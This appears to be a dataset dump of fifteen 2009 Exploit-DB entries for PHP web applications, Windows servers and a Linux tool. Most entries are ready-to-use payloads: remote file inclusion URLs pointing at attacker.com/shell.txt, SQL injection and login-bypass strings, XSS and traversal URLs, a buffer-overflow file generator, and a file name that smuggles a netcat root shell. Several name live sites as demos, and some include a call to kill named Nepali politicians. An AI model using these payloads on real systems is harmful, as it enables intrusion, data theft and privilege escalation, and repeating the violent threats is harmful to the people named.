QLWD/code_shield huggingface dataset:
标题: ProdLer 2.0 - Remote File Inclusion EDB-ID: 9728 CVE: 2009-3324 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: #######################[In The Name Of Allah]##########################
#ProdLer <= 2.0 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/prodler/files/
#Author               :  cr4wl3r 
#Contact              :  cr4wl3r[4t]linuxmail[dot]org 
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  prodler.class.php
# line 4 require_once $sPath.'include/variable.class.php';
########################################################################
#3xplo!t :
#http://target.com/[path]/include/prodler.class.php?sPath=http://attacker.com/shell.txt???  
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9728
标题: FSphp 0.2.1 - Multiple Remote File Inclusions EDB-ID: 9720 CVE: 2009-3307 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-18 漏洞利用脚本: ==============================================================================


  [o] FSphp 0.2.1 Multiple Remote File Inclusion Vulnerabilities

       Software : FSphp version 0.2.1
       Vendor   : http://fsphp.sourceforge.net/
       Download : http://sourceforge.net/projects/fsphp/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


==============================================================================


  [o] Vulnerable file

       include_once $FSPHP_LIB . "/path.php" ;

  lib/FSphp.php
  lib/navigation.php
  lib/pathwirte.php


  [o] Exploit

       http://localhost/[path]/lib/FSphp.php?FSPHP_LIB=[evilc0de]
       http://localhost/[path]/lib/navigation.php?FSPHP_LIB=[evilc0de]
       http://localhost/[path]/lib/pathwirte.php?FSPHP_LIB=[evilc0de]


==============================================================================


  [o] Greetz

       Anti Security [ http://antisecurity.org ]
       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe
       H312Y yooogy mousekill }^-^{ martfella noname s4va
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


  [o] Note

       SELAMAT HARI RAYA IDUL FITRI
       MOHON MAAF LAHIR BATIN


==============================================================================

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9720
标题: DDL CMS 1.0 - Multiple Remote File Inclusions EDB-ID: 9722 CVE: 2009-3331 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: +============================================================+
|                                                            |
| DDL CMS 1.0 Multiple Remote File Inclusion Vulnerabilities |
|                                                            |
+============================================================+
|                                                            |
| Author : HxH                                               |
|                                                            |
| E-Mail : HxH[at]live[dot]at                                |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Script : http://www.ddlcms.com/DDLCMS_v1.0.zip             |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Exploit :                                                  |
|                                                            |
| /header.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submit.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submitted.php?wwwRoot=[Shell.txt?]                        |
|                                                            |
| /autosubmitter/index.php?wwwRoot=[Shell.txt?]              |
|                                                            |
+============================================================+
|                                                            |
| Greetz : ~ JiKo ~ ThE X ~ TSH ~ All No-Exploit.com Members |
|                                                            |
+============================================================+

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9722
标题: BigAnt Server 2.50 SP6 - '.zip' Local Buffer Overflow (PoC) (2) EDB-ID: 9734 CVE: 2009-4661 类型: DOS 平台: WINDOWS 发布日期: 2009-09-21 漏洞利用脚本: #!/usr/bin/env python

########################################################################
#
# BigAnt Server <= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2
# Found By:  Dr_IDE
# Tested:    XPSP3
# Usage:  Open BigAnt Console, Go to Plug-In, Add our zip, Boom.
#
########################################################################

buff = ("\x41" * 10000)

f1 = open("BigAntPlugIn.zip","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9734
标题: Network Management/Inventory System - 'header.php' Remote File Inclusion EDB-ID: 9716 CVE: 2009-3306 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-18 漏洞利用脚本: [#]Network Management/Inventory System [header.php] Remote File Include Vulnerability[#]
                 ----------------------------------------------------------------------------------



[@]======================================================================================================[@]
[+] Author    : EA Ngel          [+]
[+] Location      : Republik Rakyat Indonesia [RRI]       [+]
[+] Situs            : www[dot]manadocoding[dot]net            [+]     
[+] Contact          : engelpemula[at]gmail[dot]com        [+]
[+] Download Script  : http://sourceforge.net/projects/clearsite/      [+] 
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] 3rr0r Bu9   : - header.php          [+]        
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] 3xpl0it   : http://127.0.0.1/include/header.php?cs_base_path=[thanks.txt?]   [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Sp3ci4l Th4nks    : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > steve_duma > cokiki > cyberlog [+] 
[+]                        angky_tatoki > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0     [+]
[+]             wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee   [+]
[+]             c6 > and friends                                                              [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Greetz t00   : All crew ManadoCoding [manadocoding.net]                                      [+]          
[+]                                                                                               [+]
[+]                        All Crew SekuritiOnline [sekuritionline.net]      [+]
[@]======================================================================================================[@]


[@]======================================================================================================[@]
[+] Note   : Anxiety in a man's heart weighs it down, but an encouraging word makes it glad[+]
[+]                        (Proverbs 12:25)                                                              [+]             
[@]======================================================================================================[@]

                * GOD BLESS ALL *

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9716
标题: Xerver HTTP Server 4.32 - Remote Denial of Service EDB-ID: 9717 CVE: 2009-4658 2009-4657 类型: DOS 平台: WINDOWS 发布日期: 2009-09-18 漏洞利用脚本: #################################################################################
#                                                                          #
# Xerver HTTP Server <= v4.32 Remote Denial of Service            #
# Found By: Dr_IDE                                    #
# Download: http://www.javascript.nu/xerver                           #
# Tested On: Windows XPSP3                                             #
#                                                                         #
#################################################################################

- Description -

Xerver v4.32 is a Windows based HTTP server. This is the latest version of
the application available.

Xerver v4.32 is vulnerable to a remote denial of service through following means.

Xerver ships with a web based configuration program, essentially making this DoS
remote if and when the Remote Setup is running.

The admin package runs on port 32123 and does not require any form of 
authentication to make changes to the server configuration.

- Bug -

If the HTTP Server port is set to any kind of letter combination, the server will
crash and be unable to be restarted unless the configuration file is manually
edited to remove the letters and put back to a number (ie. 80).

- Example -

1. http://172.16.2.101:32123/?action=wizardStep1
2. Enter anything in the port field, "Dr_IDE"
3. Click Save and Continue

- Results - 

The server will crash hard, and you will be unable to restart it. You must edit the 
configuration file, Xerver2.cfg and replace the first line of the file with a Port
number.

- Note - 

I tried to make this a possible XSS attack but I couldn't manage. Perhaps someone 
else can figure it out.

Methods and variables of interest for this attack:

SubmitForm()
document.myForm.portNR.value="80" # default, any letters here would kill the server

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9717
标题: Xerver HTTP Server 4.32 - Cross-Site Scripting / Directory Traversal EDB-ID: 9718 CVE: 2009-3562 2009-3561 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-18 漏洞利用脚本: Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability


By Stack


Directory Traversal Exploit :

http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C

http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\




XSS Exploit :


http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9718
标题: OpenSiteAdmin 0.9.7b - 'pageHeader.php?path' Remote File Inclusion EDB-ID: 9708 CVE: 2009-3317 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-17 漏洞利用脚本: [#]OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability[#]
                        ----------------------------------------------------------



[@]=====================================================================================================[@]
[+] Author    : EA Ngel
[+] Location      : Republik Rakyat Indonesia [RRI]
[+] Situs            : www[dot]manadocoding[dot]net
[+] Contact          : engelpemula[at]gmail[at]com
[+] Download Script  : http://sourceforge.net/projects/opensiteadmin/files/
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] 3rr0r Bu9   : - pageHeader.php
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] 3xpl0it   : http://127.0.0.1/OpenSiteAdmin/pages/pageHeader.php?path=[thanks.txt?]
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] Sp3ci4l Th4nks    : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > kamuiclone > cokiki > cyberlog
[+]                        angky_tatoki > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0 
[+]             wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee 
[+]             c6 > and friends
[@]=====================================================================================================[@]



[@]=====================================================================================================[@]
[+] Greetz t00   : All crew ManadoCoding and All Crew SekuritiOnline
[@]=====================================================================================================[@]


     * GOD BLESS ALL *

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9708
标题: Mambo Component com_koesubmit 1.0.0 - Remote File Inclusion EDB-ID: 9714 CVE: 2009-3333 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-10-18 漏洞利用脚本: #############################################################################################################
## Mambo com_koesubmit 1.0.0 Remote File Inclusion             ##
## Author   : Don Tukulesto (root[at]indonesiancoder[dot]com)         ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date     : Friday, Semptember 18, 2009                ##
## ------------------------------------------------------------------------------------------------------- ##
## _______            __                              __                 ______            __              ##
##|_     _|.-----..--|  |.-----..-----..-----..-----.|__|.---.-..-----. |      |.-----..--|  |.-----..----.##
## _|   |_ |     ||  _  ||  _  ||     ||  -__||__ --||  ||  _  ||     | |   ---||  _  ||  _  ||  -__||   _|##
##|_______||__|__||_____||_____||__|__||_____||_____||__||___._||__|__| |______||_____||_____||_____||__|  ##
##                ##
## ------------------------------------------------------------------------------------------------------- ##
#############################################################################################################

[ Software Information ]

[+] Software      : K?hn 1st-Submit ( com_koesubmit )
[+] Version   : 1.0
[+] Vendor   : www.alibasta.de 
[+] Vulnerability : Remote File Inclusion
[+] Google Dork   : inurl:"com_koesubmit"

#############################################################################################################
[ ExPL0!T ]

http://127.0.0.1/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=attacker?


[ Demo ]

http://www.mielenz-ctg.de/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=
#############################################################################################################

[ HOLA !!! ]

[~] M3NW5, Gonzhack, MISTERSAINT, Cyb3r_tr0n, M364TR0N, v3n0m, Awan Bejat, Plaque, rey_cute
[~] Den Bayan, Den Awink, Chercut, NoGe, kecemplungkalen, Aries Deris, Xshadow, Jack-, Yadoy666 + Tante Miya
[~] kaMtiEz, arianom, RoNz, tiw0L, and You !!!

[ SHOUT ]

Selamat Idul Fitri 1930 H
Minal aidzin Wal faidzin, Mohon Maaf Lahir Batin  :) 


AND FOR YOU ALL MALINGSIAL, YOU'RE TRULY THIEF IN ASIA.

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9714
标题: Zainu 1.0 - SQL Injection EDB-ID: 9715 CVE: 2009-3310 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-18 漏洞利用脚本: #--------------------------------------------------------
#Zainu - Version 1.0 Remote SQL Injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#Script:Zainu - Version 1.0
#--------------------------------------------------------
#Exploit:
#--------
#Demo:
#http://www.localhost.com/(script)/index.php?view=AlbumSongs&album_id=-2+UNION all SELECT 1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11--
----------------------------------------------------------

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9715
标题: Changetrack 4.3-3 - Local Privilege Escalation EDB-ID: 9709 CVE: 2009-3233 类型: LOCAL 平台: LINUX 发布日期: 2009-09-17 漏洞利用脚本: TITLE:
Changetrack Privilege Escalation Vulnerability

SECUNIA ADVISORY ID:
SA36756

VERIFY ADVISORY:
http://secunia.com/advisories/36756/

DESCRIPTION:
A vulnerability has been discovered in Changetrack, which can be
exploited by malicious, local users to gain escalated privileges.

The application does not properly escape certain file names, which
can be exploited to inject and execute arbitrary shell commands
(potentially with "root" privileges) by creating a maliciously named
file in a directory tracked by Changetrack.

Successful exploitation requires write privileges to a directory
scanned by Changetrack.

SOLUTION:
Use Changetrack to track trusted directories only.

PROVIDED AND/OR DISCOVERED BY:
Marek Grzybowski


--------------------------------------------------------------------------------
Example of exploitation:

------------ Attacker ----------

rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"
rick@testmachine:~/testt$ ls
<`nc -l -p 5001 -e $SHELL`

--------------------------------


------------ root --------------

testmachine:~# changetrack 

------------ root --------------



------------ Attacker ----------

rick@testmachine:~/testt$ nc 127.0.0.1 5001
id
uid=0(root) gid=0(root) groups=0(root)

--------------------------------

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9709
标题: Joomla! Component com_album 1.14 - Directory Traversal EDB-ID: 9706 CVE: 2009-3318 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-17 漏洞利用脚本: Joomla Component com_album Directory Traversal Vuln   (version Album #1.14 )

# Author     : DreamTurk

# mail       : dr3amturk@aol.com

# home page  : www.turkguvenligi.info

Down : http://www.breedveld.net/index.php?option=com_remository&Itemid=193&func=startdown&id=1
exp  : http://localhost/index.php?option=com_album&Itemid=128&target=/../..

# gretZ : aLL My Friends & turkguvenligi.info Members & t4cs1zkr4L

note:
<name>Album</name>
<creationDate>23-05-2007</creationDate>
<author>Roland Breedveld</author>
<copyright>
This component is released under the GNU/GPL License
</copyright>
<authorEmail>Roland@Breedveld.net</authorEmail>
<authorUrl>Breedveld.net</authorUrl>
<version>1.14</version>
<description>Album Component For Joomla</description>/str0ke

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9706
标题: FMyClone 2.3 - Multiple SQL Injections EDB-ID: 9711 CVE: 2009-3313 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-17 漏洞利用脚本: #####################################
#   FMyClone V2.3 Multiple SQLi     #
#   By learn3r hacker from nepal    #
#    damagicalhacker@gmail.com      #
#####################################

Product name: FMyClone
Version: 2.3 or maybe lower
Home: fmyclone.com

Different things might require some privileges to work but still sometimes these might be useful.

Vulns in the scripts:

http://localhost/exploit/FMyClone%20V2.3/index.php?comp=[SQLi/BSQL]

http://localhost/exploit/FMyClone V2.3/edit.php?act=comment&comp=2&id=[SQLi]
      //requires admin privilege

http://localhost/exploit/FMyClone%20V2.3/editComments.php?comp=1%27+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11--+

And maybe there are more vulns in the scripts but I don't have time to analyze (Dashain, Exams and all on the head).


Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9711
标题: CF Shopkart 5.3x - 'itemID' SQL Injection EDB-ID: 9710 CVE: 2009-3309 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-17 漏洞利用脚本: #####################################
#   CF ShopKart SQL vulnerability   #
#   By learn3r hacker from Nepal    #
#     damagicalhacker@gmail.com     #
#####################################

Product name: CF ShopKart
Version: 5.4 beta or may be lower
Product home: www.cfshopkart.com

Affected variable: item

SQLi examples:
http://demo.cfshopkart.com/index.cfm?carttoken=E48384J091709064002&action=ViewDetails&itemid=-928+union+all+select+concat(@@version,user(),database()),2--+

Note that the results of second query are seen in the <title> tag...


Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9710
标题: Nephp Publisher Enterprise 4.5 - Authentication Bypass EDB-ID: 9712 CVE: 2009-3315 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-17 漏洞利用脚本: #############################################
#  NEPHP publisher SQLi login bypass     #
#     By learn3r hacker from Nepal     #
#      damagicalhacker@gmail.com     #
#############################################

Affected version: v 3.5.9 or may be lower...

Username: valid_username'#  [eg. Administrator/*]
Password: learn3r  [or whatever]

Or
Username: ' or 1='1'#
password: learn3r [or whatever]

Live Demo: http://andhracafe.com/admin/index.php

Note that Administrator is a default username in this product

Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9712